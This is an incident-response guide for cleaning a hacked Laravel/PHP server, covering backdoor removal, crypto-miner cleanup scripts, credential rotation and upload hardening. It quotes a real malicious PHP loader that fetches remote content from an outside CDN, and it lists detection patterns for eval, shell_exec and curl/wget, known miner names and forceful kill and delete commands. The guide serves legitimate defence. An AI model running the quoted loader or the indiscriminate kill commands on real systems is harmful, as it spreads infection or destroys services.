Essential Steps to Take After a Web Attack
All steps should be completed immediately, so it's better if a team works on them. This way, they can manage multiple tasks at the same time, making the process faster.
This list is not a complete guide; experts should handle such cases, but it provides a helpful starting point.
Cleanup (Finding the "Backdoor")
Remove any additional added files by the hacker/attacker
If you are using Git (or any similar tool)
# 1. Check the added files git statusExample (real-world example)
On branch Your branch is up to date with 'origin/. Untracked files: (use "git add ..." to include in what will be committed) .swap.32uUcl0D.php 96a040bcf9a8.php SE8Yj48YnI.php Styleshllnes.php assets/ bootstrap.cache.php config/index.php database/settings/599335/ database/settings/index.php nohup.out omofef00.php public/.swap.32uUcl0D.php public/0b8ee88857.php public/0b8ee88857.txt public/123.php public/3429b64fd3.php public/3429b64fd3.txt public/40c80d2677.php public/40c80d2677.txt public/4481177009.php public/6bdc9ba563.php# 2. Remove added files git clean -fd && git stash
Run Imunify360: In cPanel, find the Imunify360 icon and start a "Full Scan." This is your best chance at finding scripts hidden in deep subfolders.
Check
public/for.phpfiles: Aside fromindex.php, there should almost never be other.phpfiles in your public folder. Delete anything suspicious (e.g.,wp-login.phpon a Laravel site,css.php,test.php).- This can be checked also using Git by running
git statusto see added files on the server
- This can be checked also using Git by running
Delete temp files and caches: Clear out all files in your temporary upload directories like
storage/app/tempin addition to cache files if any using the command:# Laravel cache command php artisan optimize:clearIn Laravel, check
./storage/framework/maintenance.phpcontent and delete it
Example of a malicious content:<?php $url = "https://sebat-dulu-bray.b-cdn.net/gratis.txt"; \(content = @file_get_contents(\)url); if ($content === false) { $ch = curl_init(); curl_setopt(\(ch, CURLOPT_URL, \)url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); \(content = curl_exec(\)ch); curl_close($ch); } echo $content; ?> <?php /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */Check
.htaccess: Ensure no weird code was added to your.htaccessthat redirects traffic or executes files as PHP.Delete and reinstall
vendorandnode_modulesmkdir -p security && nano security/clear_vendor_node_modules.sh#!/bin/bash set -e echo "Checking vendor directory..." if [ -d "vendor" ]; then echo "Removing vendor..." rm -rf vendor echo "Installing Composer dependencies..." composer install fi echo "Checking node_modules directory..." if [ -d "node_modules" ]; then echo "Removing node_modules..." rm -rf node_modules echo "Installing npm dependencies..." npm install echo "Running build..." npm run build fi echo "Done."chmod +x security/clear_vendor_node_modules.shsudo security/clear_vendor_node_modules.shSearch for the "Eval" Backdoor: If Git says everything is clean, the backdoor might be in a folder you are ignoring (like
storageorvendor). Use these commands to search for the "signature" of the virus:grep -rnw . -e "eval(" --exclude-dir={node_modules,vendor,.git}If this returns hits in
config/,database/orpublic/, those are the files recreating the virus.Example of the found files (real-world example):
./storage/app/public/Styleshllnes.php
./storage/app/public/bootstrap.cache.php
Stop any running virus processes
# Display processes ps -f -u "$USER" | grep [p]hp pkill -u "$USER" -f phpSearch for the "Re-creator" Script: If files are still appearing, one script is still alive. Let's find any PHP file that was modified in the last 60 minutes:
find . -name "*.php" -mmin -60Check cron jobs: Checks if the virus is set to auto-restart or run any other automated function
for user in $(getent passwd | cut -f1 -d:); do echo "---[ USER: $user ]---" crontab -l -u "$user" doneFind malicious files in Git ignored directories: This will also show legitimate files (like your
.envor files instorage/framework/views). Look for random filenames likekjrce03dcm.phporRIP.phpin that list.# List all files git clean -ndX # List only .php files git clean -ndX | grep '\.php$'-n: Dry run (shows you the files without deleting them).-d: Includes directories.-X: Only shows files that are ignored by Git.
Example (real-world example)
./vendor/bootstrap.cache.php
./vendor/96a040bcf9a8.php
Detect untracked PHP files (backdoors) that contain malicious execution signatures, specifically bypassing files already safely committed to Git:
find . -type f -name "*.php" -mtime -2 -not -path "*/.git/*" \ | xargs grep -lE "eval\( |base64_decode\( |shell_exec\("-mtime -2: prevents the command from listing thousands of legitimate Laravel files, focusing only on what changed since the attack started (-2β 2 days for example)
Crypto Miner Removal
Find and Kill ALL Miner Processes
Create new file
mkdir -p security && nano security/miner_cleanup.shPaste the content below and save
#!/bin/bash echo "======================================" echo " π‘ Miner Cleanup & CPU Monitor" echo "======================================" echo "" miners=("xmrig" "kdevtmpfsi" "kinsing" "crypto" "miner" "minerd") echo "π Killing known miner processes..." echo "" for name in "${miners[@]}"; do if pgrep -f "$name" > /dev/null; then pkill -9 -f "$name" echo " β kill $name" else echo " β οΈ $name not running" fi done echo "" echo "--------------------------------------" echo "π Top CPU Processes" echo "--------------------------------------" ps -eo pid,comm,%cpu --sort=-%cpu | head -11 | awk ' NR==1 { printf "%-8s %-25s %s\n", "PID", "NAME", "CPU%" } NR>1 { printf "%-8s %-25s %s\n", \(1, \)2, $3 } ' echo "" echo "--------------------------------------" echo "π₯ Killing High CPU Processes (>90%)" echo "--------------------------------------" ps -eo pid,%cpu --sort=-%cpu | awk '\(2 >= 90 {print \)1}' | while read pid; do if [ ! -z "$pid" ]; then kill -9 "$pid" 2>/dev/null echo " π¨ killed PID $pid (High CPU)" fi done echo "" echo "======================================" echo " β Scan Complete" echo "======================================"Give permission and run
chmod +x security/miner_cleanup.shsudo ./security/miner_cleanup.shAlso kill any suspicious processes even if itβs not a high CPU process
Real world example:
In our case, theguard.shprocess was recreating thestmeptprocess, so we kill it manually usingkill -9 <PID for guard.sh>and we re-run the previous script./security/miner_cleanup.shtwice to check ifstmeptis re-generated or notPID NAME CPU% 453250 stmept 299 113710 defunct 0.0 113711 defunct 0.0 441935 bash 0.0 451425 guard.sh 0.0 641936 sleep 0.0 643298 bash 0.0 643311 ps 0.0 643312 head 0.0 643313 awk 0.0
Find and kill
guard.sh(in our case this is the file that was re-generating the mining processCreate new file
mkdir -p security && nano security/clean_suspicious_file.shPaste the content below and save
#!/bin/bash # ============================== # Crypto Miner Investigation Tool # ============================== FILE_NAME="" DAYS=3 SEARCH_ROOT="." DELETE_MODE=false # Parse arguments while [[ "$#" -gt 0 ]]; do case $1 in --file-name) FILE_NAME="$2"; shift ;; --days) DAYS="$2"; shift ;; --search-root) SEARCH_ROOT="$2"; shift ;; --delete) DELETE_MODE=true ;; *) echo "Unknown parameter passed: $1"; exit 1 ;; esac shift done if [[ -z "$FILE_NAME" ]]; then echo "Usage: sudo $0 --file-name guard.sh [--days 3] [--search-root /path] [--delete]" exit 1 fi echo "========================================" echo "π Searching for \(FILE_NAME in \)SEARCH_ROOT" echo "========================================" FOUND_FILES=\((find "\)SEARCH_ROOT" -name "$FILE_NAME" -type f 2>/dev/null) if [[ -z "$FOUND_FILES" ]]; then echo "No file found." else echo "$FOUND_FILES" fi echo "" echo "========================================" echo "π Showing file contents (if found)" echo "========================================" for FILE in $FOUND_FILES; do echo "---- $FILE ----" cat "$FILE" 2>/dev/null echo "" done echo "" echo "========================================" echo "𧬠Checking shell startup persistence" echo "========================================" grep -iE "guard|stmept|curl|wget" ~/.bashrc 2>/dev/null grep -iE "guard|stmept|curl|wget" ~/.bash_profile 2>/dev/null echo "" echo "========================================" echo "π΅οΈ Finding PHP files modified in last $DAYS days" echo "========================================" find "\(SEARCH_ROOT" -name "*.php" -mtime -"\)DAYS" -type f \ ! -path "*/vendor/*" ! -path "*/node_modules/*" 2>/dev/null echo "" echo "========================================" echo "β Searching for suspicious PHP execution patterns" echo "========================================" grep -rE "shell_exec|exec|system" --include="*.php" "$SEARCH_ROOT" 2>/dev/null \ | grep -iE "guard|stmept|curl|wget" | head -20 echo "" echo "========================================" echo "β Checking systemd user services" echo "========================================" systemctl --user list-units --all 2>/dev/null # Optional deletion if \(DELETE_MODE && [[ -n "\)FOUND_FILES" ]]; then echo "" echo "========================================" echo "π Deleting found files" echo "========================================" for FILE in $FOUND_FILES; do rm -f "$FILE" echo "Deleted: $FILE" done fi echo "" echo "β Scan Complete."Give permission and run
chmod +x security/clean_suspicious_file.shsudo security/clean_suspicious_file.sh --file-name guard.sh --days 3 --search-root "/home/$USER"
Lock the Doors (Credentials)
Change SSH/FTP Passwords: Change the password for the main user account on the server
Change Database Password: Generate a new password in cPanel > MySQL Databases and update your
.envfile immediately (or any related files)For Laravel apps:
Rotate Laravel
APP_KEYβ Runphp artisan key:generateWarning: This will log out all users and break any data encrypted with
encrypt()
Update 3rd Parties Credentials: If your
.envcontains Mailgun, Postmark, or AWS S3 keys, log into those services and generate new API keys. The attackers likely have the old ones.CPanel/Hosting Password: Change your main login to your server dashboard
Fix the Code
Fix file upload validation
For Laravel apps:
Use
\(file->extension()instead of\)file->getClientOriginalExtension().Enforce the
mimes:...validation ruleChange
mkdir(..., 0777)to0755.
Disable PHP Functions: In FastComet cPanel > Select PHP Version > Options, add
exec, system, shell_exec, passthru, proc_opentodisable_functions.Update Laravel & Packages: Run
composer updateto ensure you aren't vulnerable to known exploits like the "Ignition RCE."


